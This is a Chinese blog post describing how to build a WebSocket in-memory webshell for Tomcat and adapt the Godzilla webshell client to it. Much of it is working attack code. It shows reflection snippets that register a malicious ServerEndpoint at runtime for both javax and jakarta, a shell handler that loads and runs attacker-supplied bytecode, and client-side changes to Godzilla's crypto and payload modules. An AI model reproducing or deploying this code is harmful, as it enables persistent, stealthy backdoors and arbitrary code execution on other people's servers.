WebSocket型内存马全版本构造探索及实战化利用
2025-05-28 20:39:51

前言

好久都没有发文章了,其实在这段日子里写了很多文章,也做了很多调试,每次都是思考到最后或者做到最后的时候没有成色,导致文章也没有发出来。不过webscoket这个好歹能够收个尾,就发出来看看。

这篇文章跨度很大,看我的idea背景也看得出来(x,其实在开头我提到的某个connector层的内存马就死在了这里,不能够实战化使用其实是比较蛋疼的地方。然后我看了一下veo师傅的原项目,居然已经提到了,并且其实思路上面已经差不多能对上了,但是真正实现起来我考虑了很多不需要考虑的问题,导致最终问题堆积起来就解决不了,还是基本功太薄弱了。

websocket前置

经过之前内存马的洗礼,其实不管是未知类型的探索还是对于已知类型的复现和学习,通性应该是了解为什么要探究这个类型,以及这个类型怎么使用,如何动态构造

那首先就是我们为什么需要WebSocket型内存马

由于其双端通信的特性,websocket并不局限于java这一种利用场景,现在大部分语言都支持了websocket协议的API。且websocket区别于http请求不同的点是在它的通信阶段,建立连接握手阶段还是通过http来的,因此兼容性很强,只不过后面的通信阶段采用的是纯TCP请求,默认端口也是80和443

所以其实一段websocket请求发送过来的时候,前半段的处理还是走Http的逻辑,tomcat最终还是决定将Websocket请求的处理放在filterchain中。如果有师傅使用过一些内存马查杀工具在看filters时应该会注意到一个默认的WsFilter一直存在。且由于filter在tomcat判断当前请求路由是否为404异常的前面,所以这里不论是什么请求都会走一遍WsFilter的dofilter,只不过优先级是最后的

image

可想而知这一个过程是tomcat在初始化的就进行了的,接下来看看一个正常业务中如何标准自建使用WebSocket处理逻辑,然后跟进这个filter进行调试

在tomcat中有两种自建websocket的方式,一种是通过注解实现(tomcat启动时会自动进行对应的注解扫描),一种是通过继承Endpoint​类实现,不过要自己写serverConfig。

通过注解写自定义ServerEndpoint之后,tomcat在创建container层的流程中会走到standardContext的startInternal方法,其中有一段关于Call ServletContainerInitializers的操作。这其实也是Servlet 3.0开始规范下的用来初始化servlet和listener的逻辑。而遍历到的WsSci全程叫做WebSocketServerInitializer,他的onstartUp方法中会对当前项目下打了@ServerEndpoint​注解的类进行一个注册和加载

image

这一段还会涉及到我们后面动态构造websocket,同时也可以稍微理解一下tomcat下的websocket创建和使用

所以我们可以先采用注解实现,建立连接先调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.test.WebSocketGood;
import org.apache.tomcat.util.codec.binary.Base64;
import org.apache.tomcat.util.security.ConcurrentMessageDigest;

import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;

@ServerEndpoint(value = "/anno/chat")
public class EvilWebSocket extends Endpoint implements MessageHandler.Whole<String> {
private Session session;

@Override
public void onMessage(String s) {
try {
...........
} catch (Exception exception) {
exception.printStackTrace();
}
}

@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(this);
}

private static String getWebSocketAccept(String key) {
byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1);
byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT);
return Base64.encodeBase64String(digest);
}
}

然后可以利用一些工具进行websocket连接,比如postman,点击send Message就能够发送文本消息,在OnMessage方法中打上断点就能够看到调用栈了

image

动态添加自定义websocket探索

0x01 WsFilter判断处理

websocket初次建立链接的时候还是采用的http握手的方式,而一开始的建立握手的基础就是WSFilter的逻辑能够正常走,其中我们会遇到很多if判断和从内存取值的操作来判断我们当前的请求是否是websocket请求,以及当前是否有自定义serverEndpoint进行了注册

一开始进入WSFilter就遇到了一段if判断

1
2
3
4
if (!sc.areEndpointsRegistered() || !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
chain.doFilter(request, response);
return;
}

如果说我们没有注册自定义serverendpoint的话,或运算前半段就直接满足条件进入if逻辑按正常的http请求过了

所以这里sc属性(WsServerContainer)的areEndpintsRegistered就必须返回true,也就是有serverendponint的注册

1
2
3
boolean areEndpointsRegistered() {
return endpointsRegistered;
}

WsServerContainer​唯一给endpointsRegistered赋值为true的地方在 void addEndpoint(ServerEndpointConfig sec, boolean fromAnnotatedPojo)​方法中,可以看到其有一个封装方法只需要传入指定的ServerEndpointConfig对象就能够完成整个自定义ServerEndpoint的操作

image

构造ServerEndpointConfig

所以现在问题初步落到ServerEndpointConfig对象如何构造上,构造好之后直接通过反射调用addEndpoint进行参数传递进去即可,观察其结构

image

本身是一个接口,所以最终构造还是落实在其实现类上。这里可以看到他有一个子类Builder,按理来说就是用来构造具体的ServerEndpointConfig的,他的build方法也的确如此

1
2
3
public ServerEndpointConfig build() {
return new DefaultServerEndpointConfig(this.endpointClass, this.path, this.subprotocols, this.extensions, this.encoders, this.decoders, this.configurator);
}

所以现在的思路就是通过反射获取到ServerEndpointConfig接口的子类Builder,然后反射调用其build方法获得一个DefaultServerEndpointConfig。然后调用WsServerContainer的addEndpoint方法

动态获取WsServerContainer

WsServerContainer就是喜闻乐见的全版本构造获取的关键,如何动态的获取当前运行状态下的WsServerContainer呢?

这里可以在WsServerContainer的构造方法打个断点,然后观察tomcat初始化的过程,我们最开始的探索websocket创建的时候其实已经稍微摸到边了,在WsSci调用onstartUp方法注册servlet和listener的时候,第一段就是init方法对WsServerContainer进行创建,并且将其set进了servletContext

image

最终setAttribute是设置进了ApplicationContext的attributes属性值。这里取值带有很明显的tomcat版本特征,且键名已经被标记上了@Deprecated,之后版本肯定要换一个构造

image

所以这里只需要通过standardContext获取到ApplicationContext即可,而standardContext的getServletContext()方法能够直接获取到当前Container中的ApplicationContext

具体构造如下,省略了遍历线程获取standardContext的步骤以及通过传入Evil字节码构建恶意Endpoint的步骤,避免内容冗余,最核心的一段内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void addEndPoint(Object context,Object Endpoint) throws Exception{
try {
Object ApplicationContextFaced = invokeMethod(context, "getServletContext");
Object ApplicationContext=getFV(ApplicationContextFaced,"context");
Object atrributes = getFV(ApplicationContext, "attributes");
//tomcat10以下获取思路
Object WsServerContainer = invokeMethod(atrributes, "get", new Class[]{Object.class}, new Object[]{"javax.websocket.server.ServerContainer"});
Class ServerEndpointConfigClass = Class.forName("javax.websocket.server.ServerEndpointConfig");
Class BuilderClass = Class.forName("javax.websocket.server.ServerEndpointConfig$Builder");

Method getBuilder = BuilderClass.getDeclaredMethod("create",new Class[]{Class.class,String.class});
getBuilder.setAccessible(true);
Object Builder = getBuilder.invoke(null, Endpoint.getClass(), "/pathtest");
Object normalEndpointConfig = invokeMethod(Builder, "build");
invokeMethod(WsServerContainer, "addEndpoint", new Class[]{ServerEndpointConfigClass}, new Object[]{normalEndpointConfig});
}catch (Exception e){
}
}

getFV和invokeMethod分别是反射获取(会遍历父类)对象以及反射调用方法。最后的poc我会放在github中,然后是javax改包之后的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void addEndPoint(Object context,Object Endpoint) throws Exception{
try {
Object ApplicationContextFaced = invokeMethod(context, "getServletContext");
Object ApplicationContext=getFV(ApplicationContextFaced,"context");
Object atrributes = getFV(ApplicationContext, "attributes");
//tomcat10以上获取思路
Object WsServerContainer = invokeMethod(atrributes, "get", new Class[]{Object.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
Class ServerEndpointConfigClass = Class.forName("jakarta.websocket.server.ServerEndpointConfig");
Class BuilderClass = Class.forName("jakarta.websocket.server.ServerEndpointConfig$Builder");

Method getBuilder = BuilderClass.getDeclaredMethod("create",new Class[]{Class.class,String.class});
getBuilder.setAccessible(true);
Object Builder = getBuilder.invoke(null, Endpoint.getClass(), "/pathtest");
Object normalEndpointConfig = invokeMethod(Builder, "build");
invokeMethod(WsServerContainer, "addEndpoint", new Class[]{ServerEndpointConfigClass}, new Object[]{normalEndpointConfig});
}catch (Exception e){
e.printStackTrace();
}
}

这里修改完之后就可以开始测试,我们可以先封装一个测试类,为了方便,我这里就直接写一个filter里面用来触发实时的注入逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("gooddofilter");
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getEndpoint(context);
addEndPoint(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}

filterChain.doFilter(servletRequest, servletResponse);
}

get去触发一下对应的filter路由,然后连接ws后之后发送命令即可

多功能shell实现

现在网上应该找不到能够跑的websocket样本,不过听说某些实验室肯定已经用了很久了,为了保险起见我也不会发出来所有的改造思路,效果图如下,为了能够快速的举一反三,这里我先还用的是godzilla的二开,因为熟悉一点,不用从头看逻辑。

ff4a26c4de13d63e810167af78ff6287

首先明确思路,我们不论是godzilla,还是shell本身都应该去做对应的修改。

先看shell本身

Websocketmemshell改造

java这块的godzilla的shell功能实现是通过加载恶意类之后进行各种方法反射调用实现的。流程整体是先初始化,传输过来一份巨大的payload字节码,然后交给shell进行类加载,之后存入缓存session。后续再调用test功能探测shell存活,由于刚才已经缓存过payload字节码了,这里检测到session中有缓存,于是直接取出,进行字节码加载,然后调用其基础测试功能方法,通过返回值来判断是否存活。

实现逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@Override
public void onMessage(ByteBuffer bytebuffer) {
try {
byte[] data=base64Decode(bytebuffer.array());
data=x(data, false);
Session session=this.sessionSource;
if (session.getUserProperties().get("payload") == null) {
session.getUserProperties().put("payload", new JavaXEvilWebSocket().Q(data));
session.getBasicRemote().sendObject(x("ok".getBytes(), true));
} else {
Object f;
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
try {
session.getUserProperties().put("parameters", data);
//f通过最开始缓存中的字节码加载过后的Class取出
f = ((Class) session.getUserProperties().get("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}

f.equals(arrOut);
//由于websocket没有直接获得ServletRequest的方法(间接有,但是过于麻烦导致代码冗余,不如直接通过session作为param的载体)
f.equals(session);
f.equals(data);
f.toString();
//System.out.println(java.util.Base64.getEncoder().encodeToString(arrOut.toByteArray()));
//websocket中调用多次session.getBasicRemote().sendObject就真的是发多次消息,而不是拼接发送,所以这里我们要利用一个ByteArray进行凭拼接,然后整体把ByteArray传出去
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
buffer.write(md5.substring(0,16).getBytes());
buffer.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
buffer.write(md5.substring(16).getBytes());
System.out.println(new String(buffer.toByteArray()));
session.getBasicRemote().sendObject(buffer.toByteArray());

}

} catch (Exception exception) {
exception.printStackTrace();
}
}

在onOpen处我这边设置了接受的数据长度和session的缓存。因为初始化传过来的payload实在是太大了,所以这里有必要写个最大接受数量。

image

shell实际可以说的都在注释里面了,相较于纯http组件有Request这种比较方便的参数载体有所不同。但websocket本质还是http建立连接,然后tcp双端通信,所以我们还是可以获取到http的一些参数的,只不过后续的参数传递不是http的传递,而是纯字节流,所以类似于Request对象的这种传参键值对,我们只能够在获取之后将其存入WSsession的usersProperties中,这一点在后续的godzilla改造中也有所体现。

Godzilla改造

这里记得引入websocket-client依赖,用以通信

webSocket-Cryption新增

我二开的思路就是能够新增分装功能就新增,而不是在原有的基础上改逻辑。不过有的时候不得不改,最多用ifelse这种判断走不同情况。

类似于javaAESbase64,websocket我们也可以封装一个功能类。

Godzilla客户端的流程我们可以看shellEntity的initShellOpertion​方法,最原始的initShellOpertion中只有这些内容,也就是一个大的if-else,本质还是通过判断当前是否有加载cache来进行CryptoModel的init和payload的init

image

这里我们从头到尾去微调和改造,肯定是先没有缓存的,也就代表着payload此时并没有加载进shell,所以要先通过CryptoModel去传输payload,对应的逻辑在this.cryptionModel.init(this);

当然,这么讲肯定迷糊,我们具体到代码看

看一眼JavaCryptoModel的结构,拿最基础的AesBase64举例

image

最终的是init方法,后续除了generate方法(跟jsp马生成有关)我们不会接触到,其他都会讲一遍。这里以init入手,可以看到在加密功能初始化完成之后就开始获取payload并发送给shell端了。

image

所以真正的godzilla初始化payload加载是在Crypto模块。

那么我们应该怎么改呢?

  • 首先就是shellEntity中要写个判断,判断当前的Crypto模块是否为websocket类型,然后进获取websocketcrypto的逻辑
  • websocketCryptoModel中肯定要发送payload,所以我们还先得写一个websocketpayload
  • 与shell通信也要封装一个类websocketClient,用来sendpayload

理清楚之后发现websocketCrypto模块简直寸步难行,因为上述两个关键性类我们还没写完:websocketClient以及webscoketpayload。

这里不先提Crypto模块又不好提上述这两个,所以我们接下来讲这两个,最后再回过头来看

webscoketClient新增

新增之前肯定是先类比,我们类比Http

image

Http的发送连接功能对外暴露出sendHttpResponse​方法,然后层层往里进,封装参数,最外层是具体要传入的数据,具体在crypto中初始化表现为this.payload,所以我们也可以写一个类似的封装功能点。总结一下几个sendHttpResponse的逻辑,两个点,封装请求头,连接超时。这两个websocket都不需要去做,所以我们可以直接写成如下形式:

image

sendRequestData​我们要处理一下超时卡死的问题。websocketClient存在onClose​和onError​以及onMessage​方法。三个方法分别都会自动触发于各自的情况。而websocket一段接受到信息以及关闭连接或异常的时候,虽然在正常的websocket双端通信的时候不一定就代表测试客户端一定发送过消息了,但是在godzilla中由于我们的思路是用websocket模拟这个http的过程,所以是可以认为,只要这三个方法触发,当前客户端一定就发送过消息,所以可以设置一个sendFlag。onCloseonErroronMessage​就将其制为1,发送的时候就将其置为0。这么做的目的也是为了解决双端通信延迟的问题,当我们发送的消息被接受之后,shell端肯定会走onMessage,然后传信息回来。此时由于异步,我们Godzilla客户端的onMessage​就会被触发,并且sendFlag被设置为0,所以sendRequestData方法中的while循环判断其为0了,发送成功,所以退出等待循环,返回接收到的result。(这里我设置的值是50毫秒,这肯定是不专业的,只是为了测试避免不被卡死)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public byte[] sendRequestData(byte[] requestData) {
synchronized (this) {
sendFlag =1;
this.send(requestData);
int conut=0;
while(sendFlag!=0) {
try{
conut =conut+1;
Thread.sleep(1);
if (conut >=50){
break;
}
}catch (InterruptedException ignored){
}
}
}
return result;
}

onMessage和onClose具体如下

1
2
3
4
5
6
7
8
9
10
11
public void onMessage(ByteBuffer bytes){
result=bytes.array();
sendFlag=0;
}

@Override
public void onClose(int i, String s, boolean b) {
result=null;
this.isConnected = false;
sendFlag=0;
}

websocketClient其实解的差不多了,继续看websocket-payload

websocket-payload改造

还是一样的对比,看javapayload,基本的东西就不解释了,之前的godzilla功能分析也讲的差不多了。我提几个关键点

首先一点就是equals传值的时候调用handle进行类型处理写缓存,它是要根据具体的传入类型来写的。但是websocket的server端中是不存在直接获取servletRequest的手段的,但是存在javax.websocket.session​(tomcat版本不同包名不同),能够通过session间接获取到http的一些属性值

服务端原本的javapayload的euqals与handle逻辑如下

image

这里其实是可以获取到Request的,但是Request到底只是一个填充基本信息和打log的作用,equals最重要的是将结果字节数组还有servletContext传入payload缓存。一个是执行功能的结果,一个是插件加载。所以这里我就直接暴力改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 if (this.supportClass(obj, "%s.websocket.Session")) {
this.websocketsession = obj;
} else {
var10000 = class$0;
if (var10000 == null) {
try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var6) {
throw new NoClassDefFoundError(((Throwable)var6).getMessage());
}

class$0 = var10000;
}

if (var10000.isAssignableFrom(obj.getClass())) {
this.requestData = (byte[])obj;
} else if (this.supportClass(obj, "%s.websocket.Session")) {
this.websocketsession = obj;
}
}
this.handlePayloadContext(obj);
if (this.servletRequest != null && this.requestData == null) {
Object var10001 = this.servletRequest;
Class[] var10003 = new Class[1];
Class var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var5) {
throw new NoClassDefFoundError(((Throwable)var5).getMessage());
}

class$2 = var10006;
}

var10003[0] = var10006;
Object retVObject=null;
Object retVObjectMap=null;
try{
//这么处理的利用在后续文字描述
retVObject = invokeMethod(invokeMethod(var10001, "getUserProperties"),"get",new Class[]{String.class},new Object[]{"parameters"});
} catch (Exception e) {
e.printStackTrace();
}

这么改的理由是:我拒绝在payload中获取request为了碟醋包饺子,所以将所有的请求值都通过wsSeesion间接传入写缓存。然后在shell外部我可以这么处理session.getUserProperties().put("parameters", data);​也就是初始化之后,test或者其他功能发送过来之后,由于我客户端发的也是字节流,不在乎参数键值对,所以直接put进parameters。然后再通过equals将session传入之后,这里再通过反射取出这个字节流,赋值给retVObject即可,此时requestdata又会取得retVObject的值,传值处理就完毕了。后续toString甚至都不用处理

这个payload改好之后要稍微改一下Godzilla的Javashell内容,因为它默认的获取payload是读取原始的payload字节,这里写个判断,然后让他读取我们刚才写好的websocketpayload就行

image

现在完事具备,payload和client端都已经写好,只差CryptoModel了。回过头看其逻辑处理,要改两处地方

一是在由于我们初始化payloadModel是因为我们在payloadModel-JavaShell的getPayload方法中写了一段通过shellEntity来判断当前加密模块的操作,但是在此之前我们是没有调用过PayloadModel的init的,所以shellEntity没有传入,会抛出空错误。为了解决这个问题,我们要在CryptoModel初始化之前就将payloadModel初始化了

还有一个就是,由于我们没有写类似于httpResponse这种专门调回显的,所以CryptoModel也要承担一部分回显的功能,具体操作就是将sendWebsocketResponse​的结果进行接受处理

除开前面一样的加密,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
this.shell.getPayloadModule().init(context);
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
int total=0;
this.websocket.connect();
while (!this.websocket.getReadyState().equals(ReadyState.OPEN)) {
if (total >=5){
break;
}
try {
total+=1;
Thread.sleep(1);
} catch (InterruptedException e) {
this.websocket.close();
Log.error((Throwable)e);
}
}

if (this.websocket.isConnected) {
this.result=this.websocket.sendWebsocketResponse(this.payload);
this.state = true;
}

最后还有一段JavaShell的客户端改造,因为他跟payload本地class一起结合起来才能叫作websocketPayloadModel。得追溯到shellEntity部分,如果按照上面的思路改造完毕,那么肯定最后会来到payloadModel的test方法进行payloadclass是否在目标加载完毕的检测

image

此时的payloadModel是对应整个语言类型,JavaShell整个功能都是和payloadClass进行镜像对照的,只不过JavaShell最终还是要发数据和方法名过去,所以最终是通过一个方法完成的,其余所用功能只是封装了一下功能名称和参数,然后统一交给evalFunc去处理

image

那evalFunc其实也很简单了,只是把方法名和参数传递过去而已,这里记得GzipEncode一下,然后我们写一个判断当前请求是否是websocket请求,如果是就走webscoketClient的通信流程,将返回的数据进行两层decode之后就是结果了

至此改造完毕

947211f4bf3346086a64b42d20e87b2b

总结

改一个原始godzilla没什么用。我做这个事情的目的是为了理顺自己的构造思路,因为确实在网上搜不到其他的高可用实战化的websocket马,那只能自己从头开始搓了。这篇文章也是属于记录性质的,可能会稍微细节一点。但是我并没有放出所有代码,把思路讲清楚我觉得就差不多。那之后的进一步改造就可以顺着这个思路走了,想怎么二开就是自己的事情了,希望能够帮助到师傅们。